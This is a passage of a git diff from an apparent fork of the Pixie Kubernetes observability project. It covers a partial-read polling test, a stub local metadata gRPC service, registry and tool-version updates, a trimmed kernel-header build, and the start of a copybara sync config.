`{"RuleID":"R1","RuntimeK8sDetails":"{\"podName\":\"p\",\"podNamespace\":\"ns\"}","RuntimeProcessDetails":"{\"processTree\":{\"pid\":1,\"comm\":\"c\"}}","event_time":"5000","hostname":"node-1"}` + queries := make(chan string, 256) + var calls int64 + srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + queries <- r.URL.Query().Get("query") + n := atomic.AddInt64(&calls, 1) + if n == 1 { + // Take over the raw conn so we can write a valid HTTP response + // then close the connection mid-stream — emulating the + // production failure mode where CH starts streaming, the + // HTTP timeout fires, and the body read returns mid-line. + hj, ok := w.(http.Hijacker) + if !ok { + t.Fatalf("ResponseWriter does not support Hijack") + } + conn, bufrw, err := hj.Hijack() + if err != nil { + t.Fatalf("Hijack: %v", err) + } + _, _ = io.WriteString(bufrw, "HTTP/1.1 200 OK\r\nConnection: close\r\nContent-Type: text/plain; charset=utf-8\r\n\r\n") + _, _ = io.WriteString(bufrw, goodLine+"\n") + _, _ = io.WriteString(bufrw, "{\"RuleID\":\"R2\",\"Runtime") + _ = bufrw.Flush() + _ = conn.Close() + return + } + _, _ = w.Write([]byte("")) + })) + defer srv.Close() + + tr, _ := New(Config{ + Endpoint: srv.URL, Hostname: "node-1", + PollInterval: 30 * time.Millisecond, + }) + ctx, cancel := context.WithCancel(context.Background()) + defer cancel() + ch, _ := tr.Subscribe(ctx) + + select { + case ev := <-ch: + if ev.Target.PID != 1 { + t.Fatalf("first event PID = %d, want 1", ev.Target.PID) + } + case <-time.After(500 * time.Millisecond): + t.Fatalf("timeout waiting for first event from partial body") + } + + // First poll's query went to ch; drain it then wait for the second + // poll and assert the watermark advanced past 0. + <-queries + select { + case q := <-queries: + if !strings.Contains(q, "event_time >= 5000") { + t.Fatalf("watermark did not advance on partial read; second query: %q", q) + } + case <-time.After(500 * time.Millisecond): + t.Fatalf("timeout waiting for second poll") + } +} diff --git a/src/vizier/services/agent/shared/manager/BUILD.bazel b/src/vizier/services/agent/shared/manager/BUILD.bazel index 7ba7ff6b8cc..5a9b4f3cf68 100644 --- a/src/vizier/services/agent/shared/manager/BUILD.bazel +++ b/src/vizier/services/agent/shared/manager/BUILD.bazel @@ -86,6 +86,7 @@ pl_cc_test( pl_cc_test( name = "heartbeat_test", + timeout = "moderate", srcs = ["heartbeat_test.cc"], deps = [ ":cc_library", @@ -118,6 +119,7 @@ pl_cc_test( pl_cc_test( name = "registration_test", + timeout = "moderate", srcs = ["registration_test.cc"], deps = [ ":cc_library", diff --git a/src/vizier/services/cloud_connector/bridge/server.go b/src/vizier/services/cloud_connector/bridge/server.go index fcb793729fe..ee69bc48903 100644 --- a/src/vizier/services/cloud_connector/bridge/server.go +++ b/src/vizier/services/cloud_connector/bridge/server.go @@ -81,7 +81,7 @@ spec: serviceAccountName: pl-updater-service-account containers: - name: updater - image: gcr.io/pixie-oss/pixie-prod/vizier-vizier_updater_image + image: ghcr.io/k8sstormcenter/vizier-vizier_updater_image envFrom: - configMapRef: name: pl-cloud-config diff --git a/src/vizier/services/cloud_connector/bridge/vzinfo.go b/src/vizier/services/cloud_connector/bridge/vzinfo.go index 98c4d65ad43..d89daa761a9 100644 --- a/src/vizier/services/cloud_connector/bridge/vzinfo.go +++ b/src/vizier/services/cloud_connector/bridge/vzinfo.go @@ -52,9 +52,10 @@ import ( const k8sStateUpdatePeriod = 10 * time.Second +// TODO(ddelnano): Should these be the same for k8sstormcenter's fork? const ( - privateImageRepo = "gcr.io/pixie-oss/pixie-dev" - publicImageRepo = "gcr.io/pixie-oss/pixie-prod" + privateImageRepo = "ghcr.io/k8sstormcenter" + publicImageRepo = "ghcr.io/k8sstormcenter" ) // K8sState describes the Kubernetes state of the Vizier instance. diff --git a/src/vizier/services/metadata/local/BUILD.bazel b/src/vizier/services/metadata/local/BUILD.bazel new file mode 100644 index 00000000000..1f2ae16792f --- /dev/null +++ b/src/vizier/services/metadata/local/BUILD.bazel @@ -0,0 +1,33 @@ +# Copyright 2018- The Pixie Authors. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +# SPDX-License-Identifier: Apache-2.0 + +load("//bazel:pl_build_system.bzl", "pl_cc_library") + +package(default_visibility = [ + "//src/carnot:__subpackages__", + "//src/experimental:__subpackages__", + "//src/vizier:__subpackages__", +]) + +pl_cc_library( + name = "cc_library", + hdrs = ["local_metadata_service.h"], + deps = [ + "//src/table_store:cc_library", + "//src/vizier/services/metadata/metadatapb:service_pl_cc_proto", + "@com_github_grpc_grpc//:grpc++", + ], +) diff --git a/src/vizier/services/metadata/local/local_metadata_service.h b/src/vizier/services/metadata/local/local_metadata_service.h new file mode 100644 index 00000000000..e1ac86ffdda --- /dev/null +++ b/src/vizier/services/metadata/local/local_metadata_service.h @@ -0,0 +1,222 @@ +/* + * Copyright 2018- The Pixie Authors. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + * SPDX-License-Identifier: Apache-2.0 + */ + +#pragma once + +#include +#include +#include +#include + +#include "src/common/base/base.h" +#include "src/table_store/table_store.h" +#include "src/vizier/services/metadata/metadatapb/service.grpc.pb.h" +#include "src/vizier/services/metadata/metadatapb/service.pb.h" + +namespace px { +namespace vizier { +namespace services { +namespace metadata { + +/** + * LocalMetadataServiceImpl implements a local stub for the MetadataService. + * Only GetSchemas is implemented - it reads from the table store. + * All other methods return UNIMPLEMENTED status. + * + * This is useful for testing and local execution environments where + * a full metadata service is not available. + */ +class LocalMetadataServiceImpl final : public MetadataService::Service { + public: + LocalMetadataServiceImpl() = delete; + explicit LocalMetadataServiceImpl(table_store::TableStore* table_store) + : table_store_(table_store) {} + + ::grpc::Status GetSchemas(::grpc::ServerContext*, const SchemaRequest*, + SchemaResponse* response) override { + + // Get all table IDs from the table store + auto table_ids = table_store_->GetTableIDs(); + + // Build the schema response + auto* schema = response->mutable_schema(); + + for (const auto& table_id : table_ids) { + // Get the table name + std::string table_name = table_store_->GetTableName(table_id); + if (table_name.empty()) { + LOG(WARNING) << "Failed to get table name for ID: " << table_id; + continue; + } + + // Get the table object + auto* table = table_store_->GetTable(table_id); + if (table == nullptr) { + LOG(WARNING) << "Failed to get table for ID: " << table_id; + continue; + } + + // Get the relation from the table + auto relation = table->GetRelation(); + + // Add to the relation map in the schema + // The map value is a Relation proto directly + auto& rel_proto = (*schema->mutable_relation_map())[table_name]; + + // Add columns to the relation + for (size_t i = 0; i < relation.NumColumns(); ++i) { + auto* col = rel_proto.add_columns(); + col->set_column_name(relation.GetColumnName(i)); + col->set_column_type(relation.GetColumnType(i)); + col->set_column_desc(""); // No description available from table store + col->set_pattern_type(types::PatternType::GENERAL); + } + + // Set table description (empty for now) + rel_proto.set_desc(""); + } + + return ::grpc::Status::OK; + } + + ::grpc::Status GetAgentUpdates(::grpc::ServerContext*, const AgentUpdatesRequest*, + ::grpc::ServerWriter*) override { + return ::grpc::Status(grpc::StatusCode::UNIMPLEMENTED, "GetAgentUpdates not implemented"); + } + + ::grpc::Status GetAgentInfo(::grpc::ServerContext*, const AgentInfoRequest*, + AgentInfoResponse* response) override { + + // Create a single agent metadata entry for local testing + auto* agent_metadata = response->add_info(); + + // Set up Agent information + auto* agent = agent_metadata->mutable_agent(); + auto* agent_info = agent->mutable_info(); + + // Generate a fixed UUID for the agent (using a realistic looking UUID) + // UUID: 12345678-1234-1234-1234-123456789abc + auto* agent_id = agent_info->mutable_agent_id(); + agent_id->set_high_bits(0x1234567812341234); + agent_id->set_low_bits(0x1234123456789abc); + + // Set up host information + auto* host_info = agent_info->mutable_host_info(); + host_info->set_hostname("local-test-host"); + host_info->set_pod_name("local-pem-pod"); + host_info->set_host_ip("127.0.0.1"); + + // Set kernel version (example: 5.15.0) + auto* kernel = host_info->mutable_kernel(); + kernel->set_version(5); + kernel->set_major_rev(15); + kernel->set_minor_rev(0); + host_info->set_kernel_headers_installed(true); + + // Set agent capabilities and parameters + agent_info->set_ip_address("127.0.0.1"); + auto* capabilities = agent_info->mutable_capabilities(); + capabilities->set_collects_data(true); + + auto* parameters = agent_info->mutable_parameters(); + parameters->set_profiler_stack_trace_sample_period_ms(100); + + // Set agent timestamps and ASID + auto current_time_ns = std::chrono::duration_cast( + std::chrono::system_clock::now().time_since_epoch()) + .count(); + agent->set_create_time_ns(current_time_ns); + agent->set_last_heartbeat_ns(current_time_ns); + agent->set_asid(0); + + // Set up AgentStatus + auto* status = agent_metadata->mutable_status(); + status->set_ns_since_last_heartbeat(0); + status->set_state( + px::vizier::services::shared::agent::AgentState::AGENT_STATE_HEALTHY); + + // Set up CarnotInfo + auto* carnot_info = agent_metadata->mutable_carnot_info(); + carnot_info->set_query_broker_address("local-pem:50300"); + auto* carnot_agent_id = carnot_info->mutable_agent_id(); + carnot_agent_id->set_high_bits(0x1234567812341234); + carnot_agent_id->set_low_bits(0x1234123456789abc); + carnot_info->set_has_grpc_server(true); + carnot_info->set_grpc_address("local-pem:50300"); + carnot_info->set_has_data_store(true); + carnot_info->set_processes_data(true); + carnot_info->set_accepts_remote_sources(false); + carnot_info->set_asid(0); + + return ::grpc::Status::OK; + } + + ::grpc::Status GetWithPrefixKey(::grpc::ServerContext*, const WithPrefixKeyRequest*, + WithPrefixKeyResponse*) override { + return ::grpc::Status(grpc::StatusCode::UNIMPLEMENTED, "GetWithPrefixKey not implemented"); + } + + private: + table_store::TableStore* table_store_; +}; + +/** + * LocalMetadataGRPCServer wraps the LocalMetadataServiceImpl and provides a gRPC server. + * Uses in-process communication for efficiency. + */ +class LocalMetadataGRPCServer { + public: + LocalMetadataGRPCServer() = delete; + explicit LocalMetadataGRPCServer(table_store::TableStore* table_store) + : metadata_service_(std::make_unique(table_store)) { + grpc::ServerBuilder builder; + + // Use in-process communication + builder.RegisterService(metadata_service_.get()); + + grpc_server_ = builder.BuildAndStart(); + CHECK(grpc_server_ != nullptr); + + LOG(INFO) << "Starting Local Metadata service (in-process)"; + } + + void Stop() { + if (grpc_server_) { + grpc_server_->Shutdown(); + } + grpc_server_.reset(nullptr); + } + + ~LocalMetadataGRPCServer() { Stop(); } + + std::shared_ptr StubGenerator() const { + grpc::ChannelArguments args; + // NewStub returns unique_ptr, convert to shared_ptr + return std::shared_ptr( + MetadataService::NewStub(grpc_server_->InProcessChannel(args))); + } + + private: + std::unique_ptr grpc_server_; + std::unique_ptr metadata_service_; +}; + +} // namespace metadata +} // namespace services +} // namespace vizier +} // namespace px diff --git a/src/vizier/services/metadata/metadatapb/BUILD.bazel b/src/vizier/services/metadata/metadatapb/BUILD.bazel index 11b8b4962db..a5434b84468 100644 --- a/src/vizier/services/metadata/metadatapb/BUILD.bazel +++ b/src/vizier/services/metadata/metadatapb/BUILD.bazel @@ -19,7 +19,11 @@ load("//bazel:proto_compile.bzl", "pl_cc_proto_library", "pl_go_proto_library", pl_proto_library( name = "service_pl_proto", srcs = ["service.proto"], - visibility = ["//src/vizier:__subpackages__"], + visibility = [ + "//src/carnot:__subpackages__", + "//src/experimental:__subpackages__", + "//src/vizier:__subpackages__", + ], deps = [ "//src/api/proto/uuidpb:uuid_pl_proto", "//src/carnot/planner/distributedpb:distributed_plan_pl_proto", @@ -37,7 +41,11 @@ pl_proto_library( pl_cc_proto_library( name = "service_pl_cc_proto", proto = ":service_pl_proto", - visibility = ["//src/vizier:__subpackages__"], + visibility = [ + "//src/carnot:__subpackages__", + "//src/experimental:__subpackages__", + "//src/vizier:__subpackages__", + ], deps = [ "//src/api/proto/uuidpb:uuid_pl_cc_proto", "//src/carnot/planner/distributedpb:distributed_plan_pl_cc_proto", diff --git a/src/vizier/services/query_broker/controllers/mutation_executor.go b/src/vizier/services/query_broker/controllers/mutation_executor.go index f14ad3028de..813769362da 100644 --- a/src/vizier/services/query_broker/controllers/mutation_executor.go +++ b/src/vizier/services/query_broker/controllers/mutation_executor.go @@ -87,9 +87,27 @@ func (m *MutationExecutorImpl) Execute(ctx context.Context, req *vizierpb.Execut if err != nil { return nil, err } + var otelConfig *distributedpb.OTelEndpointConfig + if convertedReq.Configs != nil && convertedReq.Configs.OTelEndpointConfig != nil { + otelConfig = &distributedpb.OTelEndpointConfig{ + URL: convertedReq.Configs.OTelEndpointConfig.URL, + Headers: convertedReq.Configs.OTelEndpointConfig.Headers, + Insecure: convertedReq.Configs.OTelEndpointConfig.Insecure, + Timeout: convertedReq.Configs.OTelEndpointConfig.Timeout, + } + } + var pluginConfig *distributedpb.PluginConfig + if req.Configs != nil && req.Configs.PluginConfig != nil { + pluginConfig = &distributedpb.PluginConfig{ + StartTimeNs: req.Configs.PluginConfig.StartTimeNs, + EndTimeNs: req.Configs.PluginConfig.EndTimeNs, + } + } convertedReq.LogicalPlannerState = &distributedpb.LogicalPlannerState{ - DistributedState: m.distributedState, - PlanOptions: planOpts, + DistributedState: m.distributedState, + PlanOptions: planOpts, + OTelEndpointConfig: otelConfig, + PluginConfig: pluginConfig, } mutations, err := m.planner.CompileMutations(convertedReq) @@ -220,11 +238,11 @@ func (m *MutationExecutorImpl) Execute(ctx context.Context, req *vizierpb.Execut // MutationInfo returns the summarized mutation information. func (m *MutationExecutorImpl) MutationInfo(ctx context.Context) (*vizierpb.MutationInfo, error) { - req := &metadatapb.GetTracepointInfoRequest{ + tpReq := &metadatapb.GetTracepointInfoRequest{ IDs: make([]*uuidpb.UUID, 0), } for _, tp := range m.activeTracepoints { - req.IDs = append(req.IDs, utils.ProtoFromUUID(tp.ID)) + tpReq.IDs = append(tpReq.IDs, utils.ProtoFromUUID(tp.ID)) } aCtx, err := authcontext.FromContext(ctx) if err != nil { @@ -232,28 +250,28 @@ func (m *MutationExecutorImpl) MutationInfo(ctx context.Context) (*vizierpb.Muta } ctx = metadata.AppendToOutgoingContext(ctx, "authorization", fmt.Sprintf("bearer %s", aCtx.AuthToken)) - resp, err := m.mdtp.GetTracepointInfo(ctx, req) + tpResp, err := m.mdtp.GetTracepointInfo(ctx, tpReq) if err != nil { return nil, err } mutationInfo := &vizierpb.MutationInfo{ Status: &vizierpb.Status{Code: 0}, - States: make([]*vizierpb.MutationInfo_MutationState, len(resp.Tracepoints)), + States: make([]*vizierpb.MutationInfo_MutationState, len(tpResp.Tracepoints)), } - ready := true - for idx, tp := range resp.Tracepoints { + tpReady := true + for idx, tp := range tpResp.Tracepoints { mutationInfo.States[idx] = &vizierpb.MutationInfo_MutationState{ ID: utils.UUIDFromProtoOrNil(tp.ID).String(), State: convertLifeCycleStateToVizierLifeCycleState(tp.State), Name: tp.Name, } if tp.State != statuspb.RUNNING_STATE { - ready = false + tpReady = false } } - if !ready { + if !tpReady { mutationInfo.Status = &vizierpb.Status{ Code: int32(codes.Unavailable), Message: "probe installation in progress", diff --git a/src/vizier/services/query_broker/script_runner/script_runner.go b/src/vizier/services/query_broker/script_runner/script_runner.go index 48f78b9427b..fbe8afae032 100644 --- a/src/vizier/services/query_broker/script_runner/script_runner.go +++ b/src/vizier/services/query_broker/script_runner/script_runner.go @@ -22,6 +22,7 @@ import ( "context" "fmt" "io" + "strings" "sync" "time" @@ -262,13 +263,17 @@ func (r *runner) runScript(scriptPeriod time.Duration) { } } - // We set the time 1 second in the past to cover colletor latency and request latencies + // We set the time 1 second in the past to cover collector latency and request latencies // which can cause data overlaps or cause data to be missed. startTime := r.lastRun.Add(-time.Second) endTime := startTime.Add(scriptPeriod) r.lastRun = time.Now() + // TODO(ddelnano): This might not be the correct approach for handling mutations. + // This is done until the pxlog source can work with an indefinite ttl. + hasMutation := strings.Contains(r.cronScript.Script, "pxlog") execScriptClient, err := r.vzClient.ExecuteScript(ctx, &vizierpb.ExecuteScriptRequest{ QueryStr: r.cronScript.Script, + Mutation: hasMutation, Configs: &vizierpb.Configs{ OTelEndpointConfig: otelEndpoint, PluginConfig: &vizierpb.Configs_PluginConfig{ diff --git a/tools/chef/cookbooks/px_dev_extras/attributes/linux.rb b/tools/chef/cookbooks/px_dev_extras/attributes/linux.rb index abb58c3669b..8607c8193b4 100644 --- a/tools/chef/cookbooks/px_dev_extras/attributes/linux.rb +++ b/tools/chef/cookbooks/px_dev_extras/attributes/linux.rb @@ -23,9 +23,9 @@ default['group'] = 'root' default['docker-buildx']['download_path'] = - 'https://github.com/docker/buildx/releases/download/v0.10.4/buildx-v0.10.4.linux-amd64' + 'https://github.com/docker/buildx/releases/download/v0.33.0/buildx-v0.33.0.linux-amd64' default['docker-buildx']['sha256'] = - 'dbe68cdc537d0150fc83e3f30974cd0ca11c179dafbf27f32d6f063be26e869b' + '9426a15411f35f635afef3f5d3bae53155c3e30d26dee430cc968e13d34be49f' default['faq']['download_path'] = 'https://github.com/jzelinskie/faq/releases/download/0.0.7/faq-linux-amd64' @@ -83,9 +83,9 @@ '79b0f844237bd4b0446e4dc884dbc1765fc7dedc3968f743d5949c6f2e701739' default['trivy']['download_path'] = - 'https://github.com/aquasecurity/trivy/releases/download/v0.64.1/trivy_0.64.1_Linux-64bit.tar.gz' + 'https://github.com/aquasecurity/trivy/releases/download/v0.69.3/trivy_0.69.3_Linux-64bit.tar.gz' default['trivy']['sha256'] = - '1a09d86667b3885a8783d1877c9abc8061b2b4e9b403941b22cbd82f10d275a8' + '1816b632dfe529869c740c0913e36bd1629cb7688bd5634f4a858c1d57c88b75' default['yq']['download_path'] = 'https://github.com/mikefarah/yq/releases/download/v4.30.8/yq_linux_amd64' diff --git a/tools/chef/cookbooks/px_dev_extras/attributes/mac_os_x.rb b/tools/chef/cookbooks/px_dev_extras/attributes/mac_os_x.rb index 84cc19c046a..1313526479b 100644 --- a/tools/chef/cookbooks/px_dev_extras/attributes/mac_os_x.rb +++ b/tools/chef/cookbooks/px_dev_extras/attributes/mac_os_x.rb @@ -24,9 +24,9 @@ default['group'] = 'wheel' default['docker-buildx']['download_path'] = - 'https://github.com/docker/buildx/releases/download/v0.10.4/buildx-v0.10.4.darwin-amd64' + 'https://github.com/docker/buildx/releases/download/v0.33.0/buildx-v0.33.0.darwin-amd64' default['docker-buildx']['sha256'] = - '63aadf0095a583963c9613b3bc6e5782c8c56ed881ca9aa65f41896f4267a9ee' + 'b1b5a38f78311cfed70a0e68096df0e9ed7dd1b1fcd09adbb117d74e3bad6f32' default['faq']['download_path'] = 'https://github.com/jzelinskie/faq/releases/download/0.0.7/faq-darwin-amd64' @@ -84,9 +84,9 @@ 'dece9b0131af5ced0f8c278a53c0cf06a4f0d1d70a177c0979f6d111654397ce' default['trivy']['download_path'] = - 'https://github.com/aquasecurity/trivy/releases/download/v0.64.1/trivy_0.64.1_macOS-64bit.tar.gz' + 'https://github.com/aquasecurity/trivy/releases/download/v0.69.3/trivy_0.69.3_macOS-64bit.tar.gz' default['trivy']['sha256'] = - '107a874b41c1f0a48849f859b756f500d8be06f2d2b8956a046a97ae38088bf6' + 'fec4a9f7569b624dd9d044fca019e5da69e032700edbb1d7318972c448ec2f4e' default['yq']['download_path'] = 'https://github.com/mikefarah/yq/releases/download/v4.30.8/yq_darwin_amd64' diff --git a/tools/docker/Makefile b/tools/docker/Makefile index 7a478cb7f9d..c4f78951e31 100644 --- a/tools/docker/Makefile +++ b/tools/docker/Makefile @@ -72,36 +72,26 @@ SYSROOT_CREATOR_IMAGE_TAG := sysroot-creator-$(SYSROOT_REV) ## Linux image parameters LINUX_HEADER_BUILD_DIR := $(BUILD_DIR)/linux_headers LINUX_HEADER_ASSETS_BUILD_DIR := $(LINUX_HEADER_BUILD_DIR)/assets -LINUX_KERNEL_VERSIONS := 4.14.309 \ - 4.15.18 \ - 4.16.18 \ - 4.17.19 \ - 4.18.20 \ - 4.19.325 \ - 4.20.17 \ - 5.0.21 \ - 5.1.21 \ - 5.2.21 \ - 5.3.18 \ - 5.4.293 \ - 5.5.19 \ - 5.6.19 \ - 5.7.19 \ - 5.8.18 \ - 5.9.16 \ - 5.10.237 \ - 5.11.22 \ - 5.12.19 \ - 5.13.19 \ - 5.14.21 \ - 5.15.181 \ - 5.16.20 \ - 5.17.15 \ - 5.18.19 \ - 5.19.17 \ - 6.0.19 \ - 6.1.137 \ - 6.6.89 +# Kernel versions selected to cover major enterprise distros and recent mainline. +# Popular eBPF projects like cilium have moved to 5.10+ as their minimum +# supported kernel version, with an exception for RHEL. +# 4.18.20 - RHEL 8.10 +# 5.10.252 - Debian 11 / Amazon Linux 2 +# 5.14.21 - RHEL 9 +# 6.1.167 - Debian 12 / Amazon Linux 2023 +# 6.6.132 - Ubuntu 24.04 LTS +# 6.12.80 - latest LTS +# 6.18.21 - recent mainline +# 6.19.10 - latest mainline +LINUX_KERNEL_VERSIONS := 4.18.20 \ + 5.10.252 \ + 5.14.21 \ + 6.1.167 \ + 6.6.132 \ + 6.12.80 \ + 6.18.21 \ + 6.19.10 + LINUX_HEADER_TEMPLATE := linux-headers-%.tar.gz LINUX_HEADER_X86_64_TARGETS = $(addprefix $(LINUX_HEADER_ASSETS_BUILD_DIR)/, \ @@ -112,7 +102,6 @@ LINUX_HEADER_ARM64_TARGETS = $(addprefix $(LINUX_HEADER_ASSETS_BUILD_DIR)/, \ LINUX_HEADERS_X86_64_MERGED_FILE := $(LINUX_HEADER_BUILD_DIR)/linux-headers-merged-x86_64-$(LINUX_HEADERS_REV).tar.gz LINUX_HEADERS_ARM64_MERGED_FILE := $(LINUX_HEADER_BUILD_DIR)/linux-headers-merged-arm64-$(LINUX_HEADERS_REV).tar.gz -LINUX_HEADERS_GS_PATH := gs://pixie-dev-public/linux-headers/$(LINUX_HEADERS_REV) ## NATS image parameters. NATS_IMAGE_VERSION := 2.9.25 @@ -135,14 +124,13 @@ elasticsearch_image_tag := "gcr.io/pixie-oss/pixie-dev-public/elasticsearch:$(EL ## Linux kernel for qemu/BPF tests. KERNEL_BUILD_DIR := $(BUILD_DIR)/kernel_build -# 4.19.276, 4.14.304 are the correct versions here, but there is a bug with patch > 255. -KERNEL_BUILD_VERSIONS := 4.14.254 \ - 4.19.254 \ - 5.4.254 \ - 5.10.224 \ - 5.15.165 \ - 6.1.106 \ - 6.8.12 +KERNEL_BUILD_VERSIONS := 4.18.20 \ + 5.10.252 \ + 5.14.21 \ + 6.1.167 \ + 6.6.132 \ + 6.12.80 \ + 6.18.21 KERNEL_BUILD_TEMPLATE := linux-build-%.tar.gz KERNEL_BUILD_TARGETS = $(addprefix $(KERNEL_BUILD_DIR)/, $(patsubst %,$(KERNEL_BUILD_TEMPLATE), $(KERNEL_BUILD_VERSIONS))) @@ -251,7 +239,6 @@ $(LINUX_HEADERS_ARM64_MERGED_FILE): $(LINUX_HEADER_ARM64_TARGETS) .PHONY: upload_linux_headers upload_linux_headers: $(LINUX_HEADERS_X86_64_MERGED_FILE) $(LINUX_HEADERS_ARM64_MERGED_FILE) ## Target to build and upload linux headers image - gsutil cp $^ $(LINUX_HEADERS_GS_PATH) $(GH_RELEASE_UPLOAD) linux-headers $(LINUX_HEADERS_REV) $^ sha256sum $^ diff --git a/tools/docker/linux_headers_image/Dockerfile b/tools/docker/linux_headers_image/Dockerfile index 844e9632173..85bffb74d6f 100644 --- a/tools/docker/linux_headers_image/Dockerfile +++ b/tools/docker/linux_headers_image/Dockerfile @@ -31,14 +31,10 @@ RUN apt-get install -y -q build-essential \ libssl-dev \ flex \ bison \ - kmod \ - cpio \ rsync \ wget \ binutils-aarch64-linux-gnu \ gcc-aarch64-linux-gnu \ - dwarves \ - debhelper \ python3 WORKDIR /configs diff --git a/tools/docker/linux_headers_image/build_linux_headers.sh b/tools/docker/linux_headers_image/build_linux_headers.sh index 7f40674b657..74bbf260774 100644 --- a/tools/docker/linux_headers_image/build_linux_headers.sh +++ b/tools/docker/linux_headers_image/build_linux_headers.sh @@ -49,50 +49,48 @@ mkdir -p "${WORKSPACE}"/src pushd "${WORKSPACE}"/src || exit KERN_MAJ=$(echo "${KERN_VERSION}" | cut -d'.' -f1); -KERN_MIN=$(echo "${KERN_VERSION}" | cut -d'.' -f2); wget -nv http://mirrors.edge.kernel.org/pub/linux/kernel/v"${KERN_MAJ}".x/linux-"${KERN_VERSION}".tar.gz tar zxf linux-"${KERN_VERSION}".tar.gz pushd linux-"${KERN_VERSION}" || exit -cp /configs/"${ARCH}" .config -make ARCH="${ARCH}" olddefconfig -make ARCH="${ARCH}" clean - LOCALVERSION="-pl" -DEB_ARCH="${ARCH//x86_64/amd64}" -# binary builds are required for non git trees after linux v6.3 (inclusive). -# The .deb file suffix is also different. -TARGET='bindeb-pkg' -DEB_SUFFIX="-1_${DEB_ARCH}.deb" -if [ "${KERN_MAJ}" -lt 6 ] || { [ "${KERN_MAJ}" -le 6 ] && [ "${KERN_MIN}" -lt 3 ]; }; then - TARGET='deb-pkg' - DEB_SUFFIX="${LOCALVERSION}-1_${DEB_ARCH}.deb" -fi -echo "Building ${TARGET} for ${KERN_VERSION}${LOCALVERSION} (${ARCH})" +cp /configs/"${ARCH}" .config +make ARCH="${ARCH}" olddefconfig -make ARCH="${ARCH}" -j "$(nproc)" "${TARGET}" LOCALVERSION="${LOCALVERSION}" +# Only generate headers — no kernel or module compilation needed. +# 'make prepare' generates include/generated/ and arch/*/include/generated/ +# which are the only outputs we package. +echo "Generating headers for ${KERN_VERSION}${LOCALVERSION} (${ARCH})" +make ARCH="${ARCH}" prepare LOCALVERSION="${LOCALVERSION}" popd || exit popd || exit -# Extract headers into a tarball -dpkg -x src/linux-headers-"${KERN_VERSION}${LOCALVERSION}_${KERN_VERSION}${DEB_SUFFIX}" . +# Package headers into the same directory structure the old deb-pkg approach produced +# (usr/src/linux-headers-/{include,arch}). +KERNEL_ARCH="${ARCH//x86_64/x86}" +HEADERS_DIR="usr/src/linux-headers-${KERN_VERSION}${LOCALVERSION}" + +mkdir -p "${HEADERS_DIR}/arch" +cp -a "src/linux-${KERN_VERSION}/include" "${HEADERS_DIR}/" +cp -a "src/linux-${KERN_VERSION}/arch/${KERNEL_ARCH}" "${HEADERS_DIR}/arch/" # Remove broken symlinks -find usr/src/linux-headers-"${KERN_VERSION}${LOCALVERSION}" -xtype l -exec rm {} + - -# Remove uneeded files to reduce size -# Keep only: -# - usr/src/linux-headers-x.x.x-pl/include -# - usr/src/linux-headers-x.x.x-pl/arch/${ARCH} -# This reduces the size by a little over 2x. -rm -rf usr/share -find usr/src/linux-headers-"${KERN_VERSION}${LOCALVERSION}" -maxdepth 1 -mindepth 1 ! -name include ! -name arch -type d \ - -exec rm -rf {} + -find usr/src/linux-headers-"${KERN_VERSION}${LOCALVERSION}"/arch -maxdepth 1 -mindepth 1 ! -name "${ARCH//x86_64/x86}" -type d -exec rm -rf {} + +find "${HEADERS_DIR}" -xtype l -exec rm {} + + +# Remove non-header files from arch/ to reduce size. +# Only headers (.h), Makefiles, Kconfigs, and Kbuilds are needed. +find "${HEADERS_DIR}/arch" -type f \ + ! -name '*.h' \ + ! -name 'Makefile' \ + ! -name 'Kconfig*' \ + ! -name 'Kbuild*' \ + -delete +# Clean up empty directories left behind. +find "${HEADERS_DIR}/arch" -type d -empty -delete tar zcf linux-headers-"${ARCH}"-"${KERN_VERSION}".tar.gz usr diff --git a/tools/private/copybara/copy.bara.sky b/tools/private/copybara/copy.bara.sky new file mode 100644 index 00000000000..edfeec21759 --- /dev/null +++ b/tools/private/copybara/copy.bara.sky @@ -0,0 +1,173 @@ +# Copyright 2018- The Pixie Authors. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +# SPDX-License-Identifier: Apache-2.0 + +source_repo = "git@github.com:pixie-io/pixie.git" +dest_repo = "git@github.com:k8sstormcenter/pixie.git" + +# Directories with fork-specific customizations that will be upstreamed separately. +ignored_dirs = [ + ".bazelrc", # upstream + fork only changes + # Release jobs (cli/cloud/operator/vizier _release.yaml) and their + # supporting ci/ scripts are now converged with upstream and flow + # through copybara. The entries below are non-release .github and ci + # files that are still fork-customized. + ".github/workflows/cacher.yaml", # runner name + ".github/workflows/codeql.yaml", # runner names + ".github/workflows/pr_3p_deps.yaml", # fork removed; preserve deletion + ".github/workflows/pr_genfiles.yml", # minor fork divergence + ".github/workflows/pr_linter.yml", # minor fork divergence + ".github/workflows/release_update_docs_px_dev.yaml", + ".github/workflows/trivy_fs.yaml", + ".github/workflows/trivy_images.yaml", + "DEVELOPMENT.md", # Should be moved to a fork only file + "ci/github/bazelrc", # fork-specific bazelrc REPO_URL + "k8s/**", # cert-manager support (upstream) + "scripts/create_cloud_secrets.sh", # cert-manager support (upstream) + "skaffold/**", + "bazel/repositories.bzl", # to be upstreamed + "bazel/repository_locations.bzl", # to be upstreamed + "bazel/container_images.bzl", # to be upstreamed + "bazel/external/clickhouse_cpp.BUILD", # to be upstreamd + "src/carnot/BUILD.bazel", # To be upstreamed + "src/carnot/carnot.cc", # To be upstreamed + "src/carnot/carnot_executable.cc", # To be upstreamed or removed after equivalent test coverage is 